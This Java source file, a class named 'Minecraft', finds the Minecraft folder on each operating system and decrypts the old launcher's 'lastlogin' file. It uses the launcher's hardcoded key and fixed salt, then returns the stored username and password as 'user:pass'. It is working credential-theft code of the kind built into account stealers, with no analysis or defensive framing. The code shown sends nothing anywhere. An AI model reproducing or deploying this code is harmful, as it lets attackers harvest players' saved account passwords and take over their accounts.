import java.io.*;
import java.net.*;
import java.util.*;

import javax.crypto.*;
import javax.crypto.spec.*;

public class Minecraft {

	static byte[] salt = new byte[8];
	public static String homePath = System.getProperty("user.home", ".");
	static File wD;
	static String aD = System.getenv("APPDATA");
	static String user;
	static String pass = "";

	public static File getwD() {
		switch (getPF()) {
		case 1:
		case 2:
			wD = new File(homePath, ".minecraft/");
			break;
		case 3:
			if (aD != null) {
				wD = new File(aD, ".minecraft/");
			} else {
				wD = new File(homePath, ".minecraft/");
			}
			break;
		case 4:
			wD = new File(homePath, "Library/Application Support/minecraft");
			break;
		default:
			wD = new File(homePath, ".minecraft/");
		}
		return wD;
	}

	private static int getPF() {
		String osName = System.getProperty("os.name").toLowerCase();
		if (osName.contains("linux")) {
			return 1;
		}
		if (osName.contains("unix")) {
			return 1;
		}
		if (osName.contains("solaris")) {
			return 2;
		}
		if (osName.contains("sunos")) {
			return 2;
		}
		if (osName.contains("win")) {
			return 3;
		}
		if (osName.contains("mac")) {
			return 4;
		}
		return 5;
	}

	public static void main(String[] args) {
		System.out.println(fetchCreds());
	}
	public static String fetchCreds(){
		try {
			Random random = new Random(43287234L);
			byte[] salt = new byte[8];
			random.nextBytes(salt);
			PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
			SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
			Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
			cipher.init(2, pbeKey, pbeParamSpec);
			File passFile = new File(getwD(), "lastlogin");
			DataInputStream dis = null;
			{
				dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
			}
			user = dis.readUTF();
			pass = dis.readUTF();
			dis.close();
			return user+":"+pass;
		} catch (Exception ex) {
			ex.printStackTrace();
		}
		return user+":"+pass;
	}
}